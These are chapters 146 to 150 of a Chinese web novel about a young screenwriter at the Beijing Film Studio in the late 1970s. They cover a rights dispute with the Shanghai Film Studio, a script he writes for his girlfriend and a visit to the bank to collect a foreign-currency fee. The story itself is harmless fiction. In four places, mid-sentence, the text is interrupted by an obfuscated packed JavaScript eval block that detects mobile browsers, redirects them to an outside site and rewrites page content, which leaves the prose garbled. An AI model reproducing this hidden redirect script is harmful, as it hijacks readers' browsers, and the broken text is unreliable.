有一日他又挑衅熊欣欣,把小熊刺激得火大起来。 再加上杜玉明在旁边一个劲儿拱火:“小欣,换成我就干他!你那么大块儿,还能被他一个小毛孩子给欺下了?” 于是,熊欣欣勃然大怒,摁着李连杰一顿胖揍,揍得这孩子哎哟哎哟的连连求饶,成功带起了这股私下比武的风潮。 据说于承惠和于海在私下里也关起门来比了一场。 大家好奇地问:“二位于老师,你俩哪个答应了?” 于承惠和于海皆呵呵一笑,任谁问都不回答。 总之《太极》剧组的气氛越来越好了。 “高老师,厂长喊你过去一趟。” “诶,知道了。” 这一日下午,高远刚讲完课,把讲台交给王瑶,厂里的工作人员就来通知他,厂长请你觐见。 他一口气跑进主楼,进了老厂长的办公室,见沙发上还坐着个陌生人,汪阳亲自陪着,表情不怎么好看。 “厂长,您找我有事儿啊?”他走到汪阳面前,笑着问道。 汪阳看他一眼,反问道:“上完课了?” 高远点头道:“刚上完。” “效果怎么样?” “我感觉还可以,王教授说,想要在一个月内达到演技的速成,唯一的办法就是套模板。我打个比方说,给每位演员各自设置一套表情,让他们照着这套表情练。 什么时候练习合格了,什么时候就可以开机了。” “这个主意倒是不错,这批业余演员今后去了其他剧组也能套用得上。” 高远嘿嘿一笑,道:“都是王教授的功劳。” 他心说,您老拉着我东拉西扯了半天,总该说说喊我来到底干嘛了吧? 汪阳露出点笑模样,伸手从中山装内兜里摸出张汇款单递给他,道:“喊你来,第一件事情是,长城公司把你的稿酬汇过来了,你找天时间把钱取出来,另外存到你自个儿的存折上就行。” 第146章 上影厂来人 哟,外汇到了啊。 高远赶忙接过来,看一眼金额:港币叁万元整! 折合人民币也小一万了。 他立刻眉开眼笑道:“那我就不客气了啊。” 汪阳横他一眼,道:“你小子什么时候客气过啊?赶紧揣起来吧。” 他心里也高兴,这小子写个故事,转手就给厂里挣到一笔钱,这一年要是写几个,厂里糟糕的财务状况就会改善许多。 高远把汇款单揣进内兜,笑着问道:“想必您找我来还有其他事儿要交代吧?” 说着,他不由看了看坐在老厂长对面那位和他年纪相仿的男人一眼。 这位挺新潮啊,西装领带大背头,外面罩着件黑色呢子大衣,三接头锃明瓦亮的。 男人也打量着他,笑起来很温和。 汪阳这才哼了一声,道:“是有点别的事儿,我给你介绍一下,这位是上影厂的徐厂长。老徐,这就是你心心念念一直想见的高远编剧。 具体事情你俩聊吧,我就不掺和了。” 原来是他! 徐桑楚,这位也是个老资格。 高远不敢托大,紧走两步到徐桑楚面前,主动伸出手恭敬地说道:“徐厂长您好。” 徐桑楚这才站起身,跟高远握了握,满脸和善的笑道:“年轻人,不得了啊,我早就听老汪说,北影厂来了个才华横溢的年轻人,今日一见,果然惊才艳艳。” “您老过奖了,我算什么惊才艳艳啊,还只是个大学生而已。” 高远含蓄地表示,我不算北影厂的正式职工啊,您老别硬给我按头衔。 另外,他对徐桑楚的来意也多少猜出来些,心说,您要想约我写剧本,直说便是,就别这么客套了。 徐桑楚拍着他的手背,显然听懂了他这番话里的潜台词,呵呵一笑,道:“大学生好啊,北大的学生更加好,能考上北大,在这等学府里接受教育,小高将来的成就一定是不可限量的。” 高远刚才那番话不仅徐桑楚听明白了。 汪阳更是心知肚明,他瞪着高远,不满的冷哼一声。 像是在给他提个醒儿,你小子虽然不是我北影厂的正式职工,却也是我们厂的特聘编剧,屁股别坐歪了啊。 高远心下一乐,说道:“徐厂长,您有话直说吧。” 徐桑楚这才松开他的手,从黑皮包里摸出一本《故事会》来,翻开后笑着问道:“这篇《木棉袈裟》是出自于你的手笔吧?” 高远一愣,从他手里接过来,一看,说道:“您要不说,我都不知道已经刊登了。严格说起来,是我和另一位作者联合创作的。 怎么,徐厂长对这个故事感兴趣?” 徐桑楚点头道:“不是感兴趣,是非常感兴趣。所以,我趁着出差来京的机会,专程找上门来问问你,有没有意愿把这部作品的改编权出让给我们上影厂啊?” 汪阳又咳嗽了一声。 高远扭头看着他,呲牙笑了。 册那! 徐桑楚勃然大怒:“老汪你这是什么意思?成心捣乱呢是吧?别以为我看不出来,你个老小子不怀好意,一门心思想毁了我这桩生意!” “啧,瞧你这话说的,就不大度。我是那样儿的人么?春天到了,我嗓子痒还不能咳嗽两声了?” “你才不大度!嗓子痒你出门右拐咳嗽去啊,我一说到关键地方你就咳嗽,一说到关键地方你就咳嗽,你咳嗽的咋那么寸呐!” “好好好,我忍着还不行吗?你们继续,继续。” 徐桑楚也冷哼一声,扭脸儿就对高远换上温和的笑容,道:“小高,你不用搭理这个老东西,就直说,这本子你肯不肯卖吧。” 卖是肯定愿意卖的。 跟谁过不去也不能跟钱过不去不是? 但高远也有自知之明,没错,自己不是北影厂的职工,但也不能否认现如今捧的是北影厂的饭碗。 “徐厂长,既然您直言不讳了,我也开门见山吧,这本子卖不卖,我自己做不了主。您先别着急,听我说完,我和老厂长之前有过君子约定,我写出来的故事,首先要紧着厂里拍。 除非厂里没指标了,或者看不上这个故事了,我才能跟其他厂接触、洽谈。 您不能让我失信于人吧?” 高远笑呵呵说道。 徐桑楚的脸一下就垮了,“你这个小家伙,是个有诚信的人,这一点倒让我对你刮目相看了。” “您谬赞了。” “那你的第二点不肯卖的理由是什么?” “我刚也说了,这故事是我和另一位作者联合创作的,这本子要卖,卖多少钱,我也得征求他的意见才行。” “钱方面你放心,亏不了你的,我们诚意十足,打算出1200块钱来买下你这个故事的电影改编权。” 没等高远说话,汪阳先乐了,道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15437262|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老徐,你们上影厂的诚意十足就值1200块?看不起谁呢你这是?我明着告诉你吧,刚才这小子揣兜里的汇款单是三万港币。 他给长城公司创作了个故事,就挣到手将近一万块人民币。 卖给我一个剧本都开价2000。 合着你嘚嘚瑟瑟跑我这儿**来了?” 徐桑楚老脸一红,忙解释道:“老汪你也别这么说嘛,眼下各家制片厂的情况你又不是不知道,谁家也不富裕,能省把米是把米,这1200,还是我好不容易做通了两位副厂长的工作后才咬牙拿出来的。” “那你就哪儿凉快哪儿呆着去吧……远子,这本子我建议你先放一放,虽说厂里第一季度没指标了,后面三个季度还是有拍摄指标的,总能给你腾出一个来。” 汪阳冲高远递了个眼色,意味深长的那种。 高远似有所悟,心说这是还有别的意思啊。 相处那么久了,他自然是新任老厂长的,于是便对徐桑楚说道:“徐厂长,您也听到了,老厂长开口了,咱们只能今后再找机会合作了。” 徐桑楚颇为遗憾地说道:“行吧,那就今后找机会合作。” 既然没达成合作意向,徐桑楚意兴阑珊,狠狠瞪了汪阳一眼,连个招呼都没打径自离开。 汪阳也懒得送他。 高远代为把徐桑楚礼送出门。 徐桑楚低声道:“私下里联系。” 高远忍住笑,轻轻点了点头。 这帮老狐狸,一个比一个狡猾。 他目送徐桑楚下楼离开后转身回了厂长办公室。 “我猜,老徐一定跟你说了,私下里联系。”汪阳翘着二郎腿,老神在在地说道。 高远哑然失笑,“我说徐厂长没说过,您信吗?” “废话!” “那不完了?老厂长,咱们厂今年没指标了,这个我是知道的,您不想让我把本子卖给上影厂,是不是还有其他意思啊?” 汪阳笑着点头道:“算你小子聪明,坐下说。” 高远这才在沙发上落了座,破沙发吱呀,发出类似于枫花恋一般的叫声。 他也吐槽道:“什么破沙发?” 汪阳呵呵一笑,没接他这话茬,只说道:“傅奇同志给我打来电话说,你提的那要求他去争取了,袁和平、袁祥仁兄弟俩愿意考虑来京城帮忙。 但前提条件是,就算来,也得使用化名。” 第147章 高远滚了 高远叹声气,说道:“我对香港那边的情况不了解,这次让老厂长和傅叔叔为难了。” 汪阳一摆手,浑不在意地说道:“左派的日子是不好过,但办这么点事儿还是不难的。当然,袁家兄弟也只是答应考虑考虑,没说一定来。 这一点,你还是要留个后手。 我的意思是,如果用钱打动不了他们的话,你就把新写的这个《木棉袈裟》给他们吧。” 老厂长一心为高远考虑,这也是他为什么按时高远,先把故事留一留的主要原因。 高远闻言笑着说:“这本子我可不舍得给袁家兄弟,只要他们肯来,我再给他们写一个就是了。对了,他们开价多少钱?” 汪阳说道:“你傅叔叔让他们自己开价,这兄弟二人或许是真不想跟左派走得太近,一张嘴就要了个十万,意思是,我们要价这么高,你们出不起我们就不去了。 你傅叔叔磕巴都没打一个就答应了下来。 这兄弟俩一看,得,骑虎难下了,这才答应考虑考虑,说这两天就会给答复。” 高远点点头,“他们一定回来的。” “哦?这么有信心?” “上次傅叔叔和石慧阿姨回来的时候,您也听到了他俩的话了,香港电影圈那帮从业者,说白了都是一切向钱看的主儿。袁和平现在给嘉禾打工呢是吧?” “对,是嘉禾。” “我虽然对港岛电影圈子的状况不太清楚,却也听说,一名武指,执导一部电影的武术动作,开价做多两万块,他咔一下把价格提升了四倍,咱们还同意了,他要是不来,只要傅叔叔放出风去,说袁家兄弟两人没诚信,明明答应好的事情又改变主意了。 这二位在圈子里就混不下去了,今后恐怕没有几家剧组敢邀请他二人去做武术指导了。” 汪阳也点点头,道:“是这个理儿。” 高远继续说道:“还有一点,刚才您说,袁家兄弟不想跟左派走太近,但我觉得,他俩更不敢离左派太远了。其实大家心里都清楚,左派的存在是现实情况,自由总会再牛掰,也没把左派打垮、赶走。 老厂长,您别把港圈电影人看得多有骨气。 真实情况是,他们既不敢得罪自由总会,又不敢跟左派梗脖子。 所以,这些家伙们只能在两者之间反复横跳。” “给我根烟。”高远这话把老厂长说乐了,等他递上烟后,老厂长没着急点,夹在手指间笑着说道:“你小子是聪明啊,把这个道理悟的很明白。 没错儿,傅奇同志也跟我提起过这件事情来,香港那帮子电影人,时常性摇摆不定。 也惯会看眼色,跟墙头草似的,自由总会和左派,风往哪边跑,他们就往哪边倒。” 高远摸出火柴来,擦着了帮老厂长点了烟,笑道:“所以我才断定,袁和平一定会来,他干不出扇自己嘴巴子的事情来。” 汪阳抽口烟,说道:“好了,换个话题。我给你小子提个建议啊。” “您说。” “不能把才华总浪费在武打片的创作上面,虽然这种类型的片子能挣钱,运作好了也能挣外汇,但它毕竟跟主流思想格格不入,你小子,想要在电影界闯出一番名堂来,得紧跟时代的脚步,创作一些符合时代特性的作品来。” “嗯,我明白了。” “别光嘴上说明白了,得落实到行动上,我问你,你考虑过明年拍啥吗?” 高远摇摇头,苦笑道:“老厂长您就别给我施加压力了,您还嫌我手头上的事情不够多啊,我先把这部《太极》整明白再说明**儿吧。” 汪阳嗤了一声,道:“你不能光为自己考虑吧?就没考虑考虑健群同志?” “您这话是什么意思啊?” “算上在《李志远》那部片子里客串的角色,健群同志一共参与拍摄了三部作品,你自个儿琢磨琢磨,她参与拍摄的这三部作品中,有一部是正儿八经的女主角吗? 厂里的同志们都知道你俩在谈恋爱,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15437263|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个大才子就没想过专门为女朋友写部戏?” 汪阳笑得像一只老狐狸,拼命朝高远这只鸡勾手指。 高远还偏偏就吃这一口儿。 他认真想了想,不好意思地说道:“确实是哈,《瞧这一家子》里的小红算半个女主角,另外半个是金玲姐。《李志远》纯粹客串。 这部还没开拍的《太极》,她戏份虽多,但电影总体性上展现的却是中国功夫。 观众们对功夫的关注度比对女主角的关注度要大很多。 她的存在感太弱了。” “对吧,我就说你小子是个一点就透的人。”汪阳夸赞了一句,磕磕烟灰,继续说:“实话跟你说,我对健群同志是有定位的,她是个能拿奖的苗子,下一步得奔着这个方向去培养。 健群同志年轻,也正是因为她年轻,所以才更要多出好作品。 话又说回来了,多出好作品的前提条件是要有好本子,好角色。 还用我继续往下说吗?” 高远一乐,道:“您不说我也明白您老的意思,让我多给她写好剧本呗,还得写符合她定位的角色。 我是一点问题都没有啊,但您老考虑没考虑过厂里其他女同志的感受啊? 我提醒您一句啊,李健群太出风头未见得是个好事儿。” “别人爱怎么说怎么说去,老听这些闲言碎语,日子不过了?还是工作不干了?再者说了,天下唯庸人无咎无誉。这个道理我老头子都懂,我就不相信你小子不懂。” “不遭人妒是庸才嘛,我肯定懂的。” “你写好你的本子,其他事情不用操心,老头子虽说也没几年干头儿了,但我在这个位子上坐一天,我就能给你俩顶一天的事儿!” 高远感动坏了,忙说道:“您老都把话上升到这个高度上了,我再跟您矫情,就是我不对了。您放心,我回去就想故事,争取尽快写完拿给您过目。” 汪阳摆摆手,说道:“滚吧!” 高远滚了。 第148章 姐姐说,我给你煮面吃 这货溜溜达达下了楼,边走边琢磨着给大姐姐写个什么故事好呢? 既贴合她的气质,又能拿奖。 按照老厂长的说法,还得符合时代特色。 难不成要写一部主旋律? 实话说,高远不想写那些个主旋律。 当然,这个年代还没有“主旋律”这种说法。 现在管这种类型的影片叫重大**历史题材作品。 高远一直坚定地认为,电影不能只允许严肃作品存在,中国电影事业一定得往类型化、产业化方向去发展才是最合适的道路。 这年头儿,观众们好糊弄,看个电影真就跟过年似的。 制片厂拍什么他们就看什么,一点都不挑剔。 也没办法挑剔,因为可供选择的电影类型寥寥无几。 高远总是不自觉地把自己代入到观众的角度上去考虑拍什么影片更受人喜爱。 当然,这也是江南之先生郑重告诫过他的,作为一名文学编剧,你啥时候揣摩透了观众们爱看啥电影,啥时候就真正在电影圈立住脚跟了。 其实先生这番话跟电影商业化异曲同工。 思来想去,高远还真想起来一部既能展现这个时代的特征,女主角有很贴合群姐定位的故事来。 他有点迫不及待了,小跑起来,奔招待所而去。 刚跑到楼下,迎面碰上了一只优子。 “哎哟,您慢点儿,慢着点儿,好悬没撞我个大马趴。”葛优忙一闪,瞪着俩大眼珠子说道。 “呵呵……不好意思啊,脑袋里想着事儿呢,没留意。”高远说道。 “您这急头白脸地想啥呢?咋还边跑边想,一心二用的?” 葛大爷乐呵呵问道,他现在小日子过得不错,在《太极》剧组打杂,算是个剧务。 平时没事情做就跟着演员们一起听课。 前两天还被王瑶教授点名回答了一个问题,他的答案让王教授非常满意。 这货有点飘飘欲仙的感觉了。 高远看着他那张标致的喜剧脸,一挑眉毛说道:“想啥?想着给你写部戏。” 葛优茫然了一下,接着一呲牙,道:“高老师别调戏我了,您突然对我这么热情,我瘆得慌。” 高远哈哈大笑了一会儿,接着说道:“没跟你开玩笑,老厂长催促我加紧生产了,我这不就琢磨起下部电影拍点啥,脑子里大概有了个故事。 别说,你还真适合演我这个故事的男主角。” “真不是开玩笑?” “真不是开玩笑。” 葛优一把抓住高远的手,深情道:“高老师,你真敢用我就真敢演,我演不好都对不住你这份赏识!” 高远连忙把手抽了回来,胳膊上起了一层鸡皮疙瘩。 “不用说得这么客气,咱俩也是投缘嘛,又能聊得来,这都不算啥。不过我还是要叮嘱你一句,你这段儿得多学习啊,能听到王瑶教授亲自授课的机会可不多,你可得把握住了,多学点东西。” 这货好为人师那劲儿又出来了,说得那叫一个语重心长。 葛优自是点头如捣蒜,“你放心就是了,我一直学得很认真,包括你的课,我也是做了笔记的。” 高远乐了,拍拍他的肩膀,往招待所楼里走去。 回到房间,他拿出纸笔放在桌面上,没着急动笔,先把故事在脑子里过了一遍,觉得妥了,这才伏案写作。 状态这个东西,有时候真没法说。 高远今天的写作状态很不错。 为啥呢? 因为他脑子里已经有了成型的故事,更何况这个故事还是那啥…… 嗯,基于前辈作品的基础下进行二次改变。 不算抄袭哈。 所以,他文思如泉涌,灵感如尿崩。 又所以,别看某个作者连续好几天每天四千字,严正告诉各位,这不是某个作者不想写,而是他没有写作状态! 高远这一动笔,时间跟野马奔腾在草原,刷刷而过,转眼过了七点钟。 李健群没在食堂看见他,问剧组的其他人:“看到高老师没?” 熊欣欣道:“不道啊,我不道啊,下午上完课就被人喊走了,一直没见人。” 别人也说没见到他。 李健群心说,不会出什么事情了吧? 她上了一节课,然后就把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444805|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心思放在了服装设计方面。 王瑶也对这些有表演经验的演员们没太多要求,听之任之。 她叹声气,想到臭弟弟大概确实有要紧事,这会儿可能没吃饭,匆忙吃了一口,拿起饭盒奔招待所。 见房门紧闭着,李健群上前敲了敲。 里面全情投入到创作事业中的高远这才停住了笔,一瞧墙上的挂钟。 靠! 快七点半了! “门没关,请进。”他说道。 李健群一拧球头锁,房门打开,她走了进来。 见高远坐在书桌前,扭头笑眯眯看着自己,没好气儿地说道:“我还以为你怎么着了呢,还活着呢?” 高远起身,走过去,先把门关好,接着凑到大姐姐身前,嗅着大姐姐身上诱人的清香,道:“活得好好的,老厂长催活儿了,让我给姐姐写个好本子,我这不是给您卖命呢么。” 李健群推他一下,道:“呸!少拿老厂长说事儿,离我远点儿。” 高远嘿嘿一笑,道:“你不信啊?不信你自己过去看,我这三个小时,都写了一万多字了,写得我手腕子都酸了。” 说着,他还甩甩手。 李健群闻言立马走过去,坐下后看着密密麻麻的稿纸,先赞了一句:“字不错。” 然后认真看起来。 这是顾颜和林周云的故事。 讲述了一个20世纪70年代末、80年代初,出国潮为背景,摄影师顾颜和孕妇林周云在机场送别各自伴侣后相识。 两人在留守生活中逐渐产生情感依赖,却因道德约束始终若即若离。 最终林周云选择出国与丈夫团聚,顾颜则默默目送她离开的悲伤故事。 当然,高远没写完,但李健群看完故事大纲以及这一万字后,心里跟明镜似的。 她知道男朋友创作的这个故事中,女主角非自己莫属。 换句话说,这是臭弟弟为自己量身定制的电影。 李健群低着头,鼻子酸酸的。 她强忍着不让眼泪留下来,放下稿纸,飞快地抹了一把泪,站起身,说道:“你还没吃饭吧?我给你煮面吃。” 第149章 大姐姐的心思 高远说声好,笑呵呵看着李健群忙活。 一碗喷香的西红柿鸡蛋面很快煮熟,用白瓷碗盛着,李健群端过来,放在茶几上,又递给他一双筷子,笑盈盈说道:“趁热吧,面凉后就坨了,不够,电饭锅里还有。” 高远把筷子接过来,挑了一绺面条吹了吹塞进嘴里,双眼忽地凉了,嚼嚼咽下后冲李健群一挑大拇指道:“好吃,我知道你会做饭,没想到你做出来的饭味道这么棒! 不是我故意拍你马屁啊,好姐姐,你这煮面条水平,都快赶上我爸了。” 李健群被他一声“好姐姐”喊得面泛桃花,又觉得心里不是个滋味儿,白他一眼后冷哼道:“你不用总刻意强调‘姐姐’这个称谓。” 吭哧! 一根面条从高远鼻子眼里弹了出来。 阿嚏! 这货打了个大大的喷嚏,面条落到地上。 高远笑了起来,拉着李健群白嫩的小手低声道:“不高兴了?” 她又哼了一声,赌气一般把手抽了回来。 高远一瞧,这是真生气了,连忙祭出哄女**法道:“姐姐呢,并不仅仅指比自己年龄大的同辈女性,旧时可用于称呼正室,现代社会中,年轻男子称呼女性为‘姐姐’,大多带有讨好或亲近的意图,易引发情感共鸣。 当然,我是后一种,可没想过再娶第二房给你添个妹妹。 诶你别拧我耳朵啊……” 这孙子玩儿现了。 李健群揪住高远的耳朵,怒道:“好啊小远子,没想到你居然还藏着这份心思,你要不说,我还真没察觉到! 老实交代,你打入到我们文艺战线内部来,是不是为了泡妹子的? 说! 你究竟有几个好妹妹?” “一个!就一个!还未成年,叫江珊。你得相信我的人品啊,你就算不相信我的人品也得相信我的党性啊,我对教员他老人家发誓,就算江珊长大了,我对那孩子也没想法的。 我这辈子只对你守身如玉、忠贞不渝!”高远冲着灯泡竖起中指,说得斩钉截铁、大义凛然! “呸!教员他老人家这辈子最大的悲哀就是老被你们这帮无耻之尤拿来发誓了!” 看着高远义正词严、满脸正气的样子,李健群松开手,自个儿先笑了。 撮着他些微有些发红的耳朵,李健群又道:“好了好了,我不是计较这个称呼,只是一想到自己毕竟比你大,就有点忧愁。” 姑娘这番优容相貌一展现出来,活脱儿一个容妃娘娘附体了。 实话说,李健群这张俏脸多少是带了点儿苦相的。 只是这段日子跟高远待在一起,被高远开朗的性格感染的少了几分。 此刻真情流露,那股子与生俱来的悲苦相看的高远心都揪起来了。 他忙又牵起李健群的手,叹息一声道:“我不是说过了么,在爱情面前,年龄啊、财富啊、家世啊之类的都是小菜,不值一提。 咱俩爱着彼此,这就够了。 你这个性格啊,也真得改改了。 凡事要往好的方面去想,别总是从坏的那方面出发。 鲁迅先生说过:哭也是一天,笑也是一天,干嘛不让自己度过的每一天都乐呵的呢?” “滚,别把什么话都往鲁迅先生头上按。先生何时说过这句话?” 见她的情绪缓过来一点,高远腆着脸说道:“先生没说过吗?那就是孔夫子说的。” 李健群服气了,臊眉耷眼道:“你说得对。” 高远哈哈一乐,又端起碗来扒拉面条,还偷偷打量大姐姐。 李健群被他看得很不自在,轻轻将散落在额前的一绺秀发顺到耳后,换了个话题,道:“对了,我来告诉你,明天有两件事情,第一件是演员集体试装。 第二件是王教授会在下午对全体演员最近这段时间的学习成果进行一场考核,要求你必须参加。” 高远咽下最后一口面条,把碗里的面条汤也喝了个干干净净,一抹嘴说道:“第一件事情交给你,我不参与,我要出去一趟。第二件事儿,嗯,我会及时赶回来的。” “你去哪儿啊?” “嘿嘿……长城公司的汇款单到了,我去银行办理取款手续。” “哦。” “诶你就不问问给我汇了多少钱吗?” “我问那个干嘛?挣多挣少又跟我没一毛钱的关系。”李健群翻个白眼儿说道。 高远眼珠儿一转,低声问道:“姐,你想不想也挣点儿外汇?” 李健群闻言,一双黑亮的眸子精光爆闪,反握住这货的手,也小声蛐蛐:“当然想啊,但是,怎么挣啊?” “自然是发挥你的长项啊。今天下午老厂长阻止了我把新写的故事卖给上影厂,说是可以卖给香港的电影公司换人情。我考虑了一下,这个本子给香港电影圈那帮孙子拍有点可惜了,就想着再给他们写一个。 你知道我的,我写故事可以,画分镜头的功力就很一般了。 咱俩合作,我负责创作,你负责画分镜,挣了港币你就存起来,算作夫妻共同财产。” 夫妻共同财产啊。 这可是了不得的大事儿! 必须谨慎认真对待。 李健群被这孙子忽悠得一时没转过弯来,连连点头道:“没问题,画工是我强项。” 高远乐了,“那就这么愉快的决定了?” “嗯嗯,愉快的决定了!”李健群也呲出一口小白牙,又道:“对了,我找你还有另一件事。” “说啊,跟我还客气啥。” “王瑶老师说,我是个成熟的演员,没有必要参加她的培训班,我前段儿不就把工作重心放到服装设计方面了嘛,其他演员的人物小传你们都看过了,写得都还不错,对饰演人物的理解也接近成熟了。 只有我没交人物小传,又不好意思私下里麻烦王老师,就想着拿过来给你看看。” 说着,李健群从衣兜里取出一张折叠得整整齐齐的稿纸来递给高远。 “哟,我的好姐姐是个对表演艺术有追求的人啊。”高远接过来打开。 叫吧叫吧,我认命了还不行? 你说得对,你这是讨好,是亲近,能引发情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449634|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感共鸣。 别说,这么一想,温柔大姐姐一下通顺了,甚至娇躯一阵颤栗,那颗芳心如同被一根羽毛轻轻划过,俏脸也跟着红了起来。 李健群锤他一下,昂着下巴颏傲娇道:“那是。” 高远一乐,越看越感觉到姐姐对人物性格特点方面的理解与众不同。 为了让姐姐上这部戏,高远设定的陈少琪是这样的:年龄比男主角大几岁,虽然出身武林世家,却因为身子骨孱弱无法习武。长得漂亮,自然不缺乏追求者。 但都被她以体弱多病不宜成亲为由拒绝了,一直到遇见前来陈家沟拜师学艺的杨昱乾。 李健群一边忙着服装设计,一边揣摩着陈少琪的内心世界,案头工作做得非常细致。 她在人物小传里写道:如果陈少琪不会武功,人物就会略显单薄,她毕竟出身于名门世家,即便身子孱弱,虽不能剧烈运动,但自幼耳濡目染,一手弹弓却打得极准。 在杨昱乾学艺过程中,陈少琪用她精湛的弹弓术数次精准无误地射中杨昱乾僵硬的关节,令杨昱乾形成肌肉记忆。 加的这段儿…… 怎么说呢? 高远看完后想了想,笑着问道:“这都是你自己想出来的?” 李健群眨眨眼,道:“是啊,有问题吗?” “你加的这段戏还是很值得称赞的,丰富了陈少琪这个人物的荧幕展现形象和层次感。 但有一点你考虑不周了。 故事中描写,陈少琪虽美,但杨柳细腰、弱不禁风。 打弹弓这种糙活儿出现在一个有病态美的姑娘身上,画风是不是就不和谐了?” “你说得对,那,加点什么呢?” “陈少琪常去河边游玩,喜欢收集河水里五彩斑斓的小石头,做了个荷包随身携带,练得一手精妙的飞石功夫。 并且投掷得非常准,陈少琪在教杨昱乾太极拳时,令其蒙上双眼听声辨位,给予他很大的帮助。 你觉得这个点子怎么样?” 李健群瞪大了双眼,道:“好,绝好的点子。高小远你太厉害了,这么短的时间里就想出来了。” 高远呵呵一笑,牛逼哄哄道:“必须必啊,我这北影厂第一大才子的名号可不是白叫的。” 李健群劈手把稿纸夺过来,起身道:“好了,事情说完了,我回去,你也早点休息吧。” 高远知道,这时候要克制住,遂站起身牵牵她的手,说道:“那我不送你了啊。” 李健群小脸儿通红,嗯了一声,快步离开。 ………… 次日上午,吃过早饭后高远跟李文化打了声招呼,蹬上自行车回了家。 不出意外,家里空无一人,他从老妈卧室的抽屉里找出户口簿,揣好后直奔银行。 这年头,取外汇很麻烦,必须得验证本人身份,又没有实行身份证制度,就只能拿户口簿应对。 银行业务还没有后世那么繁忙,一大早来取钱存钱的人也不多。 很快轮到高远。 他走到窗口,把汇款单连同户口簿一递,道:“取钱。” 第150章 外汇是爹 银行柜姐看他一眼,默不作声把手续接过去,先看了汇款单,接着眼珠子瞪大了,“三……三万港币?” 高远嗯了声,道:“没错儿,三万港币。” 柜姐不淡定了,抬起头注视着他,面带严肃问道:“你这钱是怎么来的?” 高远好笑,“汇款单上不是写得很清楚吗,稿费,汇出单位是长城影视公司。长城你知道吧?国有企业驻港机构。” “哦,我看到了,标注是稿费。三万稿费啊,小伙子你给香港的电影公司写了个什么作品啊?”她还挺八卦。 高远乐道:“一个武打片。” “高远,高远,这个名字咋这么熟悉呢?” 柜姐嘀咕了两句,一拍桌子神采奕奕道:“我想起来了,您是写《瞧这一家子》的那个作者吧?” “我们这行叫编剧。” “对!编剧。我看了两遍啊,可太有意思了。高编剧,您稍等哈,您这笔汇款数额太多了,我得请示一下我们领导。” “请便。” 很快,柜姐领着一个领导模样的男人走过来,男人挺胸凸肚,大脸盘子,穿一套中山装蹬着大皮鞋。 一见高远的面就主动伸出手,热情道:“哎呀,小高编剧大驾光临,有失远迎,有失远迎啊。” 这么客气的吗? 不会有啥阴谋诡计吧? 高远风轻云淡跟他握了握,说道:“您客气了,我来取个钱而已,请问怎么称呼?” 男子自我介绍道:“我姓崔,单名一个杰字,不才,是中关村支行的行长。” “原来是崔行长,区区小事还把您惊动了。” “这可不是小事,三万港币的大额取款业务,我们支行一年也碰不见两回。高编剧,这大堂里也不是个说话的地儿,您请跟我来,咱们去大客户室坐下聊吧。” 高远点点头,从善如流,跟随银行这两位同志进了一间会客室。 各自落座后,崔行长率先开口了,“高编剧年轻有为啊,说实话,靠写剧本挣外汇的我还是头回见。” 以往给别的客户去外汇,三百五百,顶多千儿八百的,用途多是盖房子、结婚之类,眼见得高远靠写作挣到了外汇,崔杰特不可思议。 高远敷衍一笑,道:“您过奖了,我这人说话直,您多担待。您把我专门喊过来,是我提供的手续有问题还是存在其他方面的问题?您不妨直说。 大家的时间都挺宝贵的,浪费不起啊。” 崔杰被他说得嘿嘿一笑,道:“高编剧是个爽快人,那我也不跟您打哈哈了。您提供的手续没问题,待会儿让我这员工再给你单位打个电话核实一下就可以给您办理取款了。 您有单位吧?” “北大中文系77级文学班。”这货很坚持维系这个人设。 “啊?在校大学生啊,那,我们找谁核实您的身份?找您班主任吗?”崔杰惊讶得假牙都快掉了。 高远想了想,说道:“这样吧,麻烦崔行长给北影厂打个电话,我还有个身份是北影厂的特聘编剧,您给汪阳厂长打也行,给孙文今或者**雄两位副厂长打也可以,他们都能证明我的身份。” 崔杰整个人都麻了,这个年轻人,厉害啊。 